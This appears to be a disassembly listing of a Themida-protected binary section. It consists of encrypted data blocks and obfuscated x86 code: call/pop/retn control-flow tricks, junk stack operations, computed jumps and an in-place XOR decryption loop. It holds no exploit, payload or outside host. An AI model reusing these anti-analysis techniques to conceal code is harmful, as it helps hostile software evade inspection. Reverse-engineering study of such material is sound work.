dd 0DE163B0Ah, 14D5169Bh, 56C62428h, 0AAEF5688h
dd 511086F2h, 54CBAA40h, 5A5767D7h, 582D69D9h, 0C4880365h
dd 454E61B2h, 0F99476E6h, 0E2624F33h, 3363D356h, 4C41755Ah
dd 820E6D9Eh, 9DA18EFEh, 6DA91994h, 0F5BE7898h, 103F3E64h
dd 44A7BC7Ah, 49A90AD4h, 0E5CA3ABDh, 4302DCB1h, 1086381Eh
dd 4F1ECCDDh, 0D646A60Bh, 95FBEFE0h, 0AFADB1E1h, 8638CD14h
dd 0EB9FB010h, 0DA697369h, 108638B7h, 16856536h, 16A4C704h
dd 0F1023405h, 0DC532292h, 0FE6ED35Fh, 44A40DD1h, 0FDEDE2D4h
dd 75C6B40Fh, 672D8Bh, 0AD0C25CDh, 0CDCB6E45h, 1639D2A2h
dd 0CE3B2F20h, 3618FD6Dh, 19749D28h, 26F731ABh, 0F464C744h
dd 0DF4FB1C2h, 822DDCD7h, 0DB5AE645h, 4BCB4C6Bh, 32E5B3DAh
dd 0A81B411Dh, 31AB2061h, 29991F0Ch, 45096406h, 2065AC17h
dd 1B0831ABh, 0A092696h, 0D65337A7h, 768C955h, 0AB20153Ch
dd 0E8C7D831h, 0B8FED1AEh, 1A3Ch, 0C3417200h, 806A6353h
dd 6F6D2F9Ch, 0F550C042h, 1086F2ACh, 6FDF624Fh, 2472AA40h
dd 475C5ACAh, 314274E4h, 3E3363D3h, 544D49B9h, 433066D6h
dd 5A474FBFh, 433066D6h, 4F6452C2h, 783C7AEAh
; ---------------------------------------------------------------------------
loc_5FC7A8: ; DATA XREF: Themida_:0057A358o
; Themida_:0057C680o
push 6C4Ah
mov [esp], ebx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push 61D1C3Ch
mov edi, [esp]
add esp, 4
push esp
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
pop dword ptr [esi+8]
mov esi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_581882
; ---------------------------------------------------------------------------
dw 61A6h
dd 81FA897Dh, 2725613Eh
db 80h, 0B2h, 0FDh
; ---------------------------------------------------------------------------
loc_5FC823: ; CODE XREF: Themida_:loc_5FB5EEj
mov eax, 61D2D79h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 48C17BAFh, 2EDC56B0h, 7DBF561Fh, 6835F0C6h, 3B5CA06Bh
dd 6B74D349h, 1A042357h, 3EA85C82h, 15D792EDh, 717037D7h
dd 56B34A14h, 75FED18h, 0CE630B1h, 39C0F25Eh, 722A8E1Dh
dd 652FFB8Bh, 18B4D02Ah, 4FD57C0Bh, 26DC82F8h, 7AFE6647h
dd 35755FF1h, 5505B8D4h, 677F4277h, 6B812618h, 7B1D3BBAh
dd 705CF5D2h, 39453C53h, 7959CE9Ch, 2F278D8Dh, 6A061Dh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 0E97588C3h, 9, 7455D39Ah, 27F3F16Ch, 218D890Eh, 89061527h
dd 15225195h, 0CD85C706h, 0FC061504h, 0E9000070h, 0Ah
dd 0B96B5652h, 4C1F769Ah, 85C7063Eh, 6151115h, 0
; ---------------------------------------------------------------------------
push dword ptr [ebp+61510F1h]
push 0
push ecx
call sub_5FC90D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5FC90D proc near ; CODE XREF: Themida_:005FC905p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5FC90D endp
; ---------------------------------------------------------------------------
xor dword ptr [edx-79h], 29h
mov ebp, 61503A5h
call dword ptr [ebp+61502C9h]
push 0
push ebp
call sub_5FC937
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5FC937 proc near ; CODE XREF: Themida_:005FC92Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5FC937 endp
; ---------------------------------------------------------------------------
push cs
mov esp, 0F18BEF50h
mov ah, 37h
push 0
call dword ptr [ebp+6152E21h]
mov eax, eax
jmp short loc_5FC9D3
; ---------------------------------------------------------------------------
db 9Fh
dd 0E76BC44Bh, 258030CCh, 32771E50h, 5760DEACh, 49584BE3h
dd 0D028A7D6h, 9D4704CAh, 0FE03E50Bh, 96070639h, 3EC9B1BDh
dd 0D75FDF79h, 76664D96h, 0A279CB13h, 0F55E9923h, 0D7B95Eh
dd 62ED2FB3h, 99F22C67h, 0D505F32Fh, 642C61A7h, 0A8D5DCh
dd 3317E81Ah, 0B32B27C6h, 0DEB536E8h, 9F6C9A0Fh, 0C88E2773h
dd 8CF5D4DFh, 958F48B7h, 2C52CF0h, 5FB33035h
db 5Bh, 9Eh, 0BEh
; ---------------------------------------------------------------------------
loc_5FC9D3: ; CODE XREF: Themida_:005FC959j
lea ecx, [ebp+61D3072h]
mov [ebp+61526A5h], eax
mov [ebp+6152721h], ecx
push 0
push eax
call sub_5FC9F0
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5FC9F0 proc near ; CODE XREF: Themida_:005FC9E8p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5FC9F0 endp
; ---------------------------------------------------------------------------
dd 2276276Bh, 78B866BBh, 7886BA75h, 85C74F31h, 61504CDh
dd 5C74h, 64E88166h, 1585C7EEh, 61511h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 593EC353h, 0ED83C3CAh, 6B9C0B6Eh, 2CBDB5FFh, 6A0615h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 0FFA6C7C3h, 1502C995h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 1C4BB705h
dd 1F288C78h, 6AC8CEh, 2E2195FFh
db 15h
; ---------------------------------------------------------------------------
loc_5FCAA1: ; DATA XREF: Themida_:00579DF4o
push es
mov eax, eax
jmp short loc_5FCAC1
; ---------------------------------------------------------------------------
dw 7171h
dd 6A5F3C6Ch, 131A6DCEh, 4B9213EFh, 0BDD5BB69h, 0E9D700Eh
dd 0DFB42610h
db 20h
; ---------------------------------------------------------------------------
loc_5FCAC1: ; CODE XREF: Themida_:005FCAA4j
jmp short loc_5FCAD3
; ---------------------------------------------------------------------------
align 4
dd 3 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5FCAD3: ; CODE XREF: Themida_:loc_5FCAC1j
mov eax, eax
push eax
jnz loc_5FCAEC
jmp loc_5FCAEC
; ---------------------------------------------------------------------------
imul ebp, [eax+0B29A3A4h], 0C93DD0F1h
xchg eax, edx
loc_5FCAEC: ; CODE XREF: Themida_:005FCAD6j
; Themida_:005FCADCj
pop edx
mov [ebp+6150C41h], ecx
cmp dword ptr [ebp+61508F5h], 0
jnz short loc_5FCB05
cmp dword ptr [ebp+61503ADh], 0
jz short loc_5FCB1E
loc_5FCB05: ; CODE XREF: Themida_:005FCAFAj
push eax
push ebx
mov eax, eax
mov eax, 42Dh
mov [ebp+6151385h], eax
lea ebx, [ebp+617AA9Eh]
call ebx
pop ebx
pop eax
loc_5FCB1E: ; CODE XREF: Themida_:005FCB03j
cmp dword ptr [ebp+61503ADh], 0
jz short loc_5FCB3E
push eax
push ebx
mov eax, 42Dh
mov [ebp+6151385h], eax
lea ebx, [ebp+617A78Dh]
call ebx
pop ebx
pop eax
loc_5FCB3E: ; CODE XREF: Themida_:005FCB25j
push 0
push esi
call sub_5FCB49
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5FCB49 proc near ; CODE XREF: Themida_:005FCB41p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5FCB49 endp
; ---------------------------------------------------------------------------
db 31h, 11h, 37h
dd 1331B58Bh, 0E8F50615h, 6, 0A43C2397h, 958BC287h, 61504E5h
dd 4ADE815Eh, 8B482C18h, 57DCB2C0h, 0BE8h, 0DCC45E00h
dd 59EC6A35h, 12B395F8h, 850Fh, 5E5A0000h, 9858D8Bh, 0B58B0615h
dd 6151E25h, 1D9D9D89h, 0F9830615h, 5F840F00h, 1000000h
dd 152EB58Dh, 3D8B6406h, 2Ch, 0E8F7B70Fh, 7, 0BB5D9F36h
dd 8B154AB9h, 151119B5h, 0FF0B5E06h, 34840Fh, 0FE90000h
dd 0AA000000h, 5269C073h, 99264FF2h, 92881C7Bh, 8D296662h
dd 6151D19h, 0F6813F8Bh, 438FF020h, 9589C032h, 615130Dh
dd 8952AAF3h, 1511F995h, 49355A06h, 6A535041h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 6629C351h, 2229982Ah, 0C585C624h, 47061509h, 0A59B58Bh
dd 3F680615h, 81D9E78Ch, 0FBED2404h, 858902EEh, 6150805h
dd 2811B5FFh, 6E80615h, 0D3000000h, 61978FDAh, 0F38B663Ch
dd 0BC858D5Ah, 0BA061872h, 4E57B64Ah, 810FD0FFh, 3, 89F6B70Fh
dd 152D2585h, 5958B06h, 0C606152Fh, 1509C585h, 6A5306h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 6A1A0AC3h, 0BA66EF3Bh, 0BA66B270h, 4E83593h, 0FC000000h
dd 5088986Ah, 448B5A53h, 5E560424h, 8B66008Bh, 244489F3h
dd 58F38B04h, 68E0Fh, 958B0000h, 615044Dh, 2811B5FFh, 858D0615h
dd 61872BCh, 0B70FD0FFh, 36858DD0h, 66061837h, 89A892BAh
dd 15248D85h, 15810F06h, 0E9000000h, 10h, 6F87E77Ch, 29001B6h
dd 0BF81DD52h, 0DC005AA3h, 0FF6A206Ah, 248D95FFh, 49350615h
dd 0C7535041h, 151E0185h, 106h, 0BD85C700h, 6152Fh, 89000000h
dd 1504A1BDh, 1858B06h, 66061516h, 64E797BAh, 0A3h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 0F9B2446Eh, 48B0F14h, 66000000h, 660BC3BAh, 0BD83D78Bh
dd 61509CDh, 52840F00h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 7DC5C355h
dd 858B7F05h, 6151D09h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 53C35545h, 27EEB391h, 0DB4E7183h, 0A9958B8Ch
dd 8B061525h, 0F5BD83E0h, 61527h, 47A850Fh, 85890000h
dd 6152179h, 9C585C6h, 60560615h, 1F9BD89h, 0FE80615h
dd 0F4000000h, 839CE39Ah, 0D734FF54h, 0AB2C715h, 0D18B6338h
dd 968615Ah, 0B252AA8Ch, 240481B3h, 571AA4D6h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 3C35646h, 9ADBECCCh
dd 6850F60h, 8B000000h, 1522D195h, 11B5FF06h, 8D061528h
dd 1872BC85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 81DBC9D4h, 9E9h, 84D87700h, 3E5E600Fh
dd 0D0FFCC20h, 10C9958Bh, 50500615h, 0F51B652h, 89585A31h
dd 0F18B2404h, 5E9h, 0D5E2100h, 8D8D4F05h, 6152839h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7C35545h, 0E4E90812h
dd 0E11B58Bh, 8B500615h, 240C89F3h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 0FC35343h, 0C5BA1446h, 6A40597Dh
dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 0EC796D27h, 686C5D56h, 7337C894h, 3481F58Ah
dd 37D89424h, 95B58B73h, 0FF061509h, 150031B5h, 5800F06h
dd 0BE000000h, 3E015C7Bh, 0C8C28166h, 66D0FF54h, 8BC4DBBEh
dd 150031BDh, 99B58B06h, 3061519h, 952B3C7Fh, 6151A49h
dd 0F8C781h, 8D290000h, 6151D99h, 0C765C680h, 202447h
dd 8B666000h, 0DDEA81D0h, 83687E2Bh, 1D3094BDh, 840F0006h
dd 1FBh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 54C35040h, 40DE81FFh, 837BC6AFh, 6A28C7h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 0A85E02C3h, 0C2A6E843h, 860F0BCDh, 11h, 0CE9h, 906F9100h
dd 0B2FEDA40h, 4AAFE35Bh, 2E07C78Bh, 6A64696Ah, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 5EC2C355h, 0EC553BE8h, 0B70FB1B2h, 47C7F8F0h, 61746104h
dd 0F99D8900h, 8B06150Ch, 1D309C85h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0ACAB6B6h
dd 24B7D820h, 0FE9A1h, 0A5410000h, 69BE009h, 31619281h
dd 66A5DC94h, 0C47895Eh, 2691958Bh, 858B0615h, 61D30A0h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D6C35545h
dd 89F18B66h, 6A0847h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 0BC7067C3h, 7E9B5D2h, 66000000h
dd 0F9DDFAFDh, 850FF22Dh, 17h, 12E9h, 0C44CCD00h, 226F139Ah
dd 620DBD7Ah, 83A65B47h, 835802E6h, 950128C7h, 6150895h
dd 632E07C7h, 880F6E6Fh, 6, 2AC9B589h, 85290615h, 615271Dh
dd 660447C7h, 0E8006769h, 6, 0F241A19Bh, 9E9F95Ch, 0AB000000h
dd 11A0B9Ch, 0CCAD510Ch, 98858B5Eh, 6A061D30h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 689BC351h, 89CBF8FFh, 0FE90C47h, 0DD000000h, 0E6D3FD29h
dd 0B59EC092h, 2C9A4FB6h, 0B58B68B7h, 6152AC9h, 3094858Bh
dd 8E0F061Dh, 0Eh, 0F18D8B60h, 81061509h, 0FD7957DEh, 47896132h
dd 0C99D8908h, 58061505h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 0C35646h, 57CC1CDFh, 0D5BD89AFh, 8D061520h
dd 152C798Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1404h, 0C3564600h, 880FFC3Ah, 4, 6DE8BE66h, 240C8950h
dd 0B5FFD18Bh, 6152839h, 30159589h, 0DA680615h, 6017C102h
dd 66CA8B60h, 61BF04B8h, 8D95BF66h, 24348161h, 17C112DAh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 17C35242h
dd 0FF968C1Eh, 150031B5h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 0A86EF82Ch
dd 0D0FF6133h, 0FD98D89h, 85890615h, 6151DADh, 0B8h, 19958B00h
dd 0B061523h, 22840FC0h, 29000000h, 151E0DB5h, 0FFD78B06h
dd 1503BDB5h, 7E906h, 84290000h, 0C3F4D90Eh, 0C995FF85h
dd 0B2061502h, 66C08BF3h, 83B650BAh, 1508F5BDh, 9750006h
dd 3ADBD83h, 74000615h, 8B535019h, 42DB8C0h, 85890000h
dd 61502A1h, 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh
dd 50177400h, 42DB853h, 85890000h, 61502A1h, 0A7A69D8Dh
dd 0D3FF0617h, 0B70F585Bh, 14E9D2h, 0F7FA0000h, 0CD4019BFh
dd 0B5B06591h, 1AC02E28h, 43B5ED28h, 0C08B6767h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0ACC35040h, 0AE1B50Bh
dd 0C08B0615h, 39A98D8Dh, 8D89061Dh, 6152721h, 0AE9h, 4E6DBA00h
dd 0D0DD6BFh, 0C7A048B2h, 1504CD85h, 6A2006h
dd 8E900h, 0A0610000h, 975C901Bh, 85C770A4h, 6151115h
dd 0
; ---------------------------------------------------------------------------
add [ebp+6152E25h], eax
push dword ptr [ebp+6152921h]
push 0
push ecx
call sub_5FD38B
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5FD38B proc near ; CODE XREF: Themida_:005FD383p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5FD38B endp
; ---------------------------------------------------------------------------
db 6Dh
dd 0AB7FE8B2h, 2C995FFh, 6A0615h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 0C8DB0AC3h, 39895A02h
dd 8B9BD9EFh, 152AE5BDh, 0FF006A06h, 152E2195h, 0EBC08B06h
dd 57E2944Dh, 9EF62DF5h, 83E06193h, 82940FF8h, 316DAFFCh
dd 4D569CA8h, 9BC5DA6h, 776CB2A9h, 0BFE04DC0h, 84256C08h
dd 4378F7Ah, 69A05F52h, 0F57E0572h, 0E57657Eh, 7A0A244Ah
dd 0D195A6D5h, 1E61A9A6h, 68545ED6h, 0EBD4350Eh, 8D8D23E5h
dd 61D3A98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 16C35141h, 0C4A46B13h, 91DB79B2h, 2D95896Bh, 8906152Fh
dd 1527218Dh, 0CD85C706h, 8C061504h, 80000074h, 85C784F2h
dd 6151115h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5FD483
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5FD483 proc near ; CODE XREF: Themida_:005FD47Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5FD483 endp
; ---------------------------------------------------------------------------
mov word ptr [esi+5Bh], es
push edi
mov ah, 9Eh
shl dword ptr [edx-4Dh], 8Bh
mov ebp, 61508EDh
push dword ptr [ebp+6152F59h]
mov esi, [ebp+6152CD5h]
call dword ptr [ebp+61502C9h]
mov esi, [ebp+6151381h]
mov [ebp+61518EDh], ecx
push 0
call dword ptr [ebp+6152E21h]
mov eax, eax
jmp short loc_5FD519
; ---------------------------------------------------------------------------
dd 0FED542D4h, 4001061Bh, 0ECB71025h, 6D1A1F14h, 3D52A2AEh
dd 8639CC3h, 0F23D3B50h, 11C202A0h, 9D17B2E2h, 45F5FF1Bh
dd 7DF7488Fh, 0C0AE5B4Fh, 0EBC5E79Ah, 0DBABF1D4h, 7191A1CBh
dd 0F182738Ch, 0A058689h, 4788D771h, 1D9ED841h
; ---------------------------------------------------------------------------
dec ebx
loc_5FD519: ; CODE XREF: Themida_:005FD4CAj
call sub_5FD52F
setalc
in al, dx
and eax, 89D24804h
and [ebp+77C2A0B2h], edx
inc esi
dec esp
mov bh, 88h
; =============== S U B R O U T I N E =======================================
sub_5FD52F proc near ; CODE XREF: Themida_:loc_5FD519p
mov ax, dx
pop edi
jnp loc_5FD53E
sbb ax, 93h
loc_5FD53E: ; CODE XREF: sub_5FD52F+4j
add edi, 5A30h
movzx eax, ax
mov ecx, 1662h
movsx eax, ax
loc_5FD54F: ; CODE XREF: sub_5FD52F+8Fj
mov edx, [edi]
jmp loc_5FD564
; ---------------------------------------------------------------------------
dw 0CA3h
dd 0E15C7ADBh, 0D3B1A725h, 9EA90D3Ah
; ---------------------------------------------------------------------------
loc_5FD564: ; CODE XREF: sub_5FD52F+22j
sub edx, 1ADBE5E4h
jp loc_5FD575
mov ebx, 2E12DB13h
loc_5FD575: ; CODE XREF: sub_5FD52F+3Bj
add edx, 156D8FEAh
mov eax, [ebp+6152CD5h]
xor edx, 64342394h
cld
mov [edi], edx
push esi
jmp loc_5FD5A3
; ---------------------------------------------------------------------------
dd 0F34D25C7h, 4C216EA3h, 65217918h, 10653100h
db 77h, 4, 12h
; ---------------------------------------------------------------------------
loc_5FD5A3: ; CODE XREF: sub_5FD52F+5Cj
pop esi
sub edi, 143911D0h
jmp loc_5FD5B6
; ---------------------------------------------------------------------------
stosb
fld tbyte ptr [eax+7AA0BA16h]
loc_5FD5B6: ; CODE XREF: sub_5FD52F+7Bj
add edi, 143911CCh
cmc
dec ecx
jnz loc_5FD54F
adc ebx, 724CFF59h
jmp loc_5FD5F9
; ---------------------------------------------------------------------------
db 24h
dd offset dword_455248+22504h
dd 9 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5FD5F9: ; CODE XREF: sub_5FD52F+9Bj
jmp loc_5FDB7B
; ---------------------------------------------------------------------------
dw 93F3h
dd 5CDD5223h, 9B1A09ECh, 53D54A2Bh, 9D1D12E3h, 5853482Dh
dd 950565h, 0B95CCC33h, 0FB9A0A6Ah, 0BE57C724h, 577A4915h
dd 16169BC9h, 0C724E755h, 0F053B43Bh, 1086F2A9h, 2A6C4354h
dd 273C7A55h, 98C253C3h, 9A0A6DC6h, 0DF02A39Ch, 9E1086F2h
dd 0CF2CDD8Dh, 6075575Fh, 0DD529CABh, 0EA5AD86Ch, 0EFCD3ACh
dd 102E9E1Dh, 8252774Eh, 0CB71086h, 108682C5h, 182997A8h
dd 0D9DAC472h, 0EEB0E656h, 86823257h, 0C7E8B910h, 82054CF7h
dd 0D7E81086h, 0B73F633h, 608212EBh, 53C325A2h, 6A456A63h
dd 0E1D2B42Ch, 171D35Fh, 4717E82Eh, 8669557Ch, 63071810h
dd 0E546812Ch, 0A0BEA075h, 8669FC25h, 0BCAE7F10h, 987DED4Fh
dd 7DB9298Bh, 0F6770364h, 0BA2A8D86h, 6AAC837Ch, 14B31A8Bh
dd 59E03098h, 0BBF9284Dh, 67A3BB04h, 0FED1FE93h, 0FE6ED3E0h
dd 51B2810Ch, 0CAE7B5E1h, 0E959DF6Bh, 0B7FFD0ADh, 557924C6h
dd 9510866Ch, 2D90B924h, 0B397A8B8h, 58h, 57C72487h, 0F2BFE45Fh
dd 3ABB1086h, 0C67D5F93h, 1086F283h, 475A6401h, 0ED532CDCh
dd 0FA7F2EDCh, 9C97A8CBh, 71A21297h, 50EC9E0Eh, 1, 55C5246Ch
dd 81F15061h, 86F674BDh, 0B7392AE4h, 58DF4F47h, 6FDF6265h
dd 2B9AC486h, 1086F2E6h, 55D6B485h, 0A98F66D6h, 6056C624h
dd 387EEE53h, 5E58C82Bh, 4175E545h, 0C05F1D54h, 6441A3E4h
dd 30D90AB5h, 11715689h, 75B89DA1h, 0F45FB809h, 0DA4924C6h
dd 0B4ADE959h, 0E7F5C939h, 86F3355Ch, 3E7B810h, 27971809h
dd 128202EFh, 90983324h, 496FD23Fh, 0E102AD5Ch, 0BA3E7349h
dd 0C6F9A04Ah, 0A8752683h, 668E97h, 24AA0000h, 2B8856C6h
dd 605D59C9h, 16978C8Ah, 790070A6h, 91018146h, 5BCB2F04h
dd 72E2465Bh, 644BC644h, 0A81C88E5h, 2DCD0A97h, 972EC097h
dd 5537E387h, 53000000h, 8856C624h, 5C5ACA2Bh, 60D03063h
dd 83B15936h, 0C09E0E6Eh, 75A11173h, 0F2F51CA7h, 0A7781086h
dd 0D334E288h, 0F2507766h, 4A67F382h, 9D9575E5h, 0B639C524h
dd 0C62D6946h, 1086F286h, 36B9FAE4h, 426D24C6h, 900083B0h
dd 1A2EBBFAh, 1B697A8h, 0D2000000h, 61C924h, 0E3BBABB3h
dd 0F1250Ah, 20231383h, 4814679h, 669CA94h, 1199F496h
dd 0A2213D6Dh, 169BE182h, 745B8A93h, 3B0C9AF2h, 0B2112214h
dd 0E3627C42h, 1693E3BEh, 61DF4FB0h, 44DBBA50h, 0DB8A7FE7h
dd 0FBDD6819h, 3C63E2D4h, 0C2169310h, 0DC5F6857h, 0DF61526Ch
dd 0EFB8486Fh, 0A4B30955h, 0B9A3A7C6h, 93CCC70Ah, 21A4A616h
dd 1693CCF8h, 0ED9DB283h, 8C57BF3Ch, 0D54F2BB6h, 0A4BDF9D6h
dd 28DFD747h, 2A893E71h, 426FDBBAh, 0CEF158C0h, 4D3950FCh
dd 0BC3F3462h, 0D530634Ch, 0A3068565h, 299DBDDEh, 143h
dd 3DAD121Fh, 0BABE54Dh, 6AD903DBh, 1086F227h, 0A9E2F5C6h
dd 19D5055h, 390C5238h, 169B4B39h, 0D9C3F3C4h, 0FDED5DD8h
dd 1F3FAF0Ch, 0CB8C6A36h, 97736D6Ch, 54C427FCh, 0E75B7C62h
dd 5DCB065Fh, 0BFF767C6h, 809E1CEh, 3CFB3BABh, 0DE5D6A55h
dd 92C3876Eh, 0F0275B86h, 883678Ah, 9DBD2EA5h, 65AC1745h
dd 81693EAh, 60E75337h, 0E5000000h, 0C939BAF7h, 0C55F0CDh
dd 0EF1693EAh, 4F082CDEh, 0C580E162h, 1086F29Ch, 35614E5Fh
dd 3B08B258h, 9022330Bh, 1DA91907h, 3D084E3Ch, 9086DA34h
dd 0B4EF5B7h, 0F29086DAh, 0AD080E21h, 9086DA64h, 0A1AD2087h
dd 85AEB0E0h, 82D4B626h, 86DABEC3h, 526C3D10h, 9773E361h
dd 75B8FCh, 0ABD40000h, 0D903DB0Bh, 1E959D8h, 9C0616A2h
dd 20162716h, 0B540B013h, 0E71FD7Eh, 3AF989Eh, 0CEF9A282h
dd 3E785778h, 932095B7h, 0FFAE5B16h, 1AFB6BC8h, 0F8CBEC8Ch
dd 169326D1h, 9AA48B9Ch, 0B1F9022Bh, 26102110h, 0F83EAE0Dh
dd 0D1218CFDh, 0FBEF5FE0h, 0ADB1E195h, 80B62684h, 8359DB8Fh
dd 0AD5DCD2Eh, 973D2F0Eh, 53F2EC1Ah, 2D6BE0Eh, 8A2EDCEDh
dd 4F50DCB9h, 0F051DD62h, 0D5BBAF80h, 0C4EDF121h, 4016F464h
dd 0A42DB885h, 0ACEABB16h, 0FAC434B7h, 0CDC939B9h, 0CF7B1AF0h
dd 9D671C06h, 806A5EF3h, 0D6C03093h, 0ED94C76Fh, 8FA46657h
dd 0F875BE2Eh, 0D9B18E88h, 5BD8EFDEh, 17400AEBh, 4DEA4D4Bh
dd 0BC835414h, 3C18FBC9h, 0C526E387h, 0F0506155h, 0ABAF9680h
dd 8FFF80B1h, 0CA0FB687h, 0B157013Bh, 0DF4FB3E0h, 8D04E6D7h
dd 0BA46A522h, 0EE7C838h, 432A221h, 2696191Ah, 35844h
dd 2F340000h, 5ACA244Bh, 74E4475Ch, 63D33142h, 49B93E33h
dd 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h
dd 0C368783Ch, 8900006Dh, 89522404h, 4C281E2h, 81000000h
dd 4EAh, 24148700h, 242C895Ch, 81E38953h, 4C3h, 4EB8300h
dd 5C241C87h, 50243C89h, 694280B8h, 2E0C14Ah, 7831CF05h
dd 0C38953DCh, 585BDD89h, 243C8B54h, 6804C483h, 6B8Fh
dd 8F242C89h, 34FF0847h, 0C4815F24h, 4, 57242C8Bh, 0C781E789h
dd 4, 8704C783h, 0E95C243Ch, 0FFF83D12h, 94E22BF8h, 788DC0B7h
db 0B7h, 44h, 75h
; ---------------------------------------------------------------------------
loc_5FDB7B: ; CODE XREF: sub_5FD52F:loc_5FD5F9j
mov eax, 61D40C7h
add eax, ebp
jmp eax
sub_5FD52F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 35FF35CFh, 51311157h, 598C66B8h, 12E7F998h, 21520607h
dd 50F8A648h, 76826E7Fh, 47559DCBh, 42320FB5h, 75236951h
dd 1C6E9814h, 649317E2h, 10F548D7h, 3856DD83h, 42808D8Dh
dd 6A061Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 0DDC4E5C3h, 9D09C6D3h, 6151821h, 27218D89h
dd 8E90615h, 98000000h, 0ACC8138h, 0C79D4132h, 1504CD85h
dd 595006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 62128AEh, 8F5A803Fh, 0BE665017h
dd 85C7B439h, 6151115h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5FDC43
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5FDC43 proc near ; CODE XREF: Themida_:005FDC3Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5FDC43 endp
; ---------------------------------------------------------------------------
db 0B3h
dd 66134B0Ch, 0B5FFC28Bh, 6151D45h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 83C35646h, 410219A1h, 0C995FFCDh
dd 6A061502h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 4B72C350h, 0D08B6889h, 95FF006Ah
dd 6152E21h, 0BEBC08Bh, 0FC88B654h, 81CDB06Dh, 0E8AA270Fh
dd 0Fh, 166CC3CDh, 7F5E4376h, 0A423BF01h, 66B63E7Ch, 720CE881h
dd 0D6B70F59h, 5F77C181h, 958B0000h, 6151011h, 0BE9FF2Bh
dd 39000000h, 450697FEh, 79F64E12h, 1C8B0D67h, 0C381FC39h
dd 409CA30Bh, 0EB81F7B6h, 1BC297EDh, 26B5BD29h, 0EB810615h
